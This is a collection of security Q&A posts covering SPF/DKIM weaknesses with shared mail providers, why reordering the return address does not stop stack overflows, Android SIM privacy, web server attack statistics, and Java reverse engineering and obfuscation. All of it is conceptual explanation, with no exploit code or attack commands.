In addition to that it is common to have domain often explicitly allow service providers (like Office365, Mailchimp,...) to send mail in their name by adding their IP addresses or domains to the SPF policy or providing them with the key needed for DKIM. These service provider have the infrastructure typically shared between all clients which badly affects the granularity SPF would offer and also means that somebody except the domain owner can send DKIM signed mails with the owners domain.

Apart from being insufficient to validate the sender it would also require the clients infrastructure to have DMARC and at least one of SPF or DKIM properly implemented - which only very few have.


Can stack overflow be prevented by pushing return address first? I feel that this is a really dumb and obvious questions, but I haven't found any answers online. I mean the textbook example of buffer overflow is done by memcpy into a limited size buffer on stack. It works because function call allocates the buffer before pushing the return address. Overflowing the buffer will overwrite the return address. It seems pretty obvious to try to change the order by pushing the return address first and then allocate the stack space. The compiler knows how much local space each function call needs and should be able to pop the stack at function return to access the return address. Seems like this would easily prevent a lot of overflow issues?

The main reasons are that it is inconvenient, results in sub-optimal code, requires prior knowledge of function stack size, limits performance, violates the specification of many calling conventions, and doesn't actually prevent overflows from succeeding.

The usual way that a function calls into another function, at least on x86, is (unsurprisingly) with the call instruction. This instruction pushes the return address onto the stack and redirects the instruction pointer to the target address. The stack is a concept that the processor itself understands and facilitates, and we can't change the processor's behaviour.

In order to facilitate putting the return pointer before stack allocations, we would need to allocate the function's stack space before the call instruction is executed. This requires the calling function (the caller) to allocate the stack for the called function (the callee), and thus inherently requires that the caller clean up the stack of the callee. This is possible in calling conventions such as cdecl (also some cases with thiscall), which utilise caller clean-up, but is a violation of the calling convention specifications for stdcall, fastcall, vectorcall, pascal, and a number of other conventions.

You might be wondering why it matters whether stack allocation is done by the caller or callee. Well, in general, a function exists because it contains code that is used in more than one place (this is why we have inlining optimisations!). In a callee-cleanup model, the code for setting up the function's stack allocation space and cleaning it up at the end is part of the callee function itself. The calling function doesn't need to know about the stack memory requirements of the callee function. This is useful because you don't end up duplicating the stack management logic for every call into that function. Imagine, for example, a program that called memcpy in 10,000 different locations - for callee cleanup there is only one instance of the stack management code for the memcpy function, whereas for caller cleanup there are now 10,000 copies. Even if this is only 10 or 20 bytes of code each time that's already hundreds of kilobytes of redundant code.

Another issue is stack growth. You mentioned that the compiler knows how much stack a function will use - this is not strictly true. Dynamic stack allocations are quite common, and your proposed model sandwiches the callee stack between the stack frame of the calling function and the return address of the callee:

| return addr | saved *bp | stackalloc space | return addr | saved bp | ...
|  (callee)   | (callee)  |     (callee)     |  (caller)   | (caller) |
 *bp+0         *bp+N       *bp+2N             *bp+?N         ...

This means that if the function requires its stack space to grow dynamically, it must move the return pointer and stack frame pointer (saved *bp) when it does so, and also modify the stack frame pointer in the process. This is unnecessarily complex and introduces some performance issues.

You may have also just realised why this isn't a fix for buffer overflows. By overflowing a buffer in the stackalloc space you don't overwrite the callee's return address, but you can overwrite the caller's return address. This does not really complicate exploitation.


Way to keep Google from knowing the SIM card I am using on Android We see that the the details of the Telecom operator along with other details are available to Google for the SIM card that we are using on an Android Phone.

Is there any way that can be applied or implemented to keep Google from knowing the (exact) details of the SIM card operator for the SIM I am using?

In order for Android to make phone calls the OS has to be able to access the SIM details. It has to know what provider the sim belongs to in order to connect to that provider's towers. As google has written Android they can theoretically suck all the details they want off of it, and the only step you could take to prevent it would be to block your phone from accessing the internet. That would limit the usefulness of your phone dramatically of course.

If you're paranoid the option is there to write your own fork of android which would prevent it from sending data to google, which would be a very big project. It's possible someone has already done this.


Statistics of attacks on unhardened Web Server Suppose my web server is on the public internet.
It's not behind firewall hardware.
It does use HTTPS, and it has its OS firewall software turned on - but this is the only security mechanism in place.

Are there published statistics of such a web server getting hacked?
Feel free to make any assumptions about OS, web server, framework, language, type of site, etc - I am interested in general statistics and information. (Similar to how an unpatched Windows XP would be attacked within 7 seconds of getting online... )

Realistically speaking at the moment there aren't a lot of public attacks on web servers (e.g. IIS/Apache/NGINX) themselves (assuming that you're using the latest version of course).  The web applications running on top of the servers are far more likely to be the point of attack.

As to statistics for that I'm afraid it's massively variable, as the variety of software running on the system is large.

If you're looking for general statistics on web application hacking and security I'd recommend you look at the WhiteHat statistics or the veracode state of software security reports.


Reverse engineering and Java Is java class file or jar file is easy to reverse engineer? Because java generates a class file after compilation and not exe files. Is jar and class files are easy to decompile compare to c# and C++? If it is easy, then how can we protect java code so that it is difficult to reverse engineer?

Yes, Java class files are easy to reverse engineer. The format is very regular, and very constrained: the VM must be able to verify that the code complies to the strong typing rules of Java code. This is like the output of a C compiler with all optimizations deactivated: the program structure is plainly visible. (In the Java model, optimization happens in the VM itself, when the JIT compiler runs.)

People try obfuscation, though; e.g. with ProGuard (there are many tools on that market; this one is free and opensource). For instance, all classes and methods are renamed with strings which make no sense to a human (but the obfuscation also produces a translation file which the developer keeps for himself, so that he may interpret back stack traces in case of bug reports).

Alternatively, you might be able for process your Java code in an Ahead-of-Time compiler, like JET. This has some restrictions (in particular, the result is no longer "portable" since it is native code) but it makes decompilation harder (close to the complexity of reverse engineering compiled C or C++).

As a rule, reverse engineering tends to work, and for Java even more so, even after obfuscation. You'd better not use obfuscation as the foundation of your security.

It is also worth noting that this is very similar to code reading issues in any .Net language such as C#.  It is pretty much equally trivial to generate Java, VB.Net or C# code from the distributed files and obfuscation techniques that try to make it more difficult to read are similar for both as well.